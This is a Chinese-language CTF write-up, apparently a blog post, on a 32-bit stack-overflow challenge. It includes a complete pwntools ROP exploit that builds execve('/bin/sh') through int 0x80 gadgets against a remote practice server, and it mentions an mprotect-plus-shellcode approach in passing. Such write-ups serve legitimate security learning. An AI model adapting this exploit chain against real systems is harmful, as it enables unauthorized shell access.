这是一个有点难度的题目,反正我是后面去看师傅们的wp了。。。这个题目听大家讲本地的和远程的exp居然还是有差别的
首先拿到文件,开始老三样查看
主要看在哪个平台:32位还是64位,还有就是有没有canary,如果有的话一般来说都不会是栈溢出攻击的题目
然后拖进ida
这个可以看出真的是一个栈溢出攻击
我们还可以看到get_flag函数
看出来是直接进行溢出到第8行地址就行。
但是注意,可能是由于这题目远程的时候一些奇妙问题,在我们使用远程的时候没有正常退出会导致出错,无法获取回显。所以我们要使用exit()函数作为返回函数,在结束了get_flag函数之后就立即调用exit()。这样就属于是正常退出了。
今天我想学一下师傅们的其他技巧,
系统调用
execve("/bin/sh",NULL,NULL)
这个函数在32位系统中使用方式是这样的:
- eax寄存器存储系统调用号,execve函数的系统调用号是0xb
- ebx存第一个参数"/bin/sh"
- ecx存0
- edx存0
在系统调用中我们把int 0x80 这个数当作一个函数来调用,所以我们的exp如下:
from pwn import *
io=remote('node4.buuoj.cn','25395')#连接远程靶机
pop_eax = 0x080b91e6
int_80 =0x0806d7e5
str_got = 0x080EB020
mov_eax_to_edx = 0x080557ab
pop_edx_ecx_ebx = 0x0806fc30
payload = b'a'*56 + p32(pop_eax) + b'/bin'+ p32(pop_edx_ecx_ebx) + p32(str_got)+p32(0)+p32(0) + p32(mov_eax_to_edx)
payload += p32(pop_eax) + b'/sh\x00'+p32(pop_edx_ecx_ebx) + p32(str_got+0x4)+p32(0)+p32(0) + p32(mov_eax_to_edx)
payload += p32(pop_eax)+p32(0xb)+p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(str_got)+p32(int_80)
io.sendline(payload)
io.interactive()
不知道为什么这里的必须使用pop_edx_ecx_ebx
来进行对edx的覆盖,不能仅仅只使用类似pop_edx
的代码,我研究了很久但是还是不知道为什么会是这个样子
利用mprotect函数
这个我太懒了哈哈哈懒得写了,下次我有机会的时候再复现一下,只知道是用mprotecr函数改了内存什么地方,变成了可执行区域,然后向那个地方写了shellcode,然后再跳过去了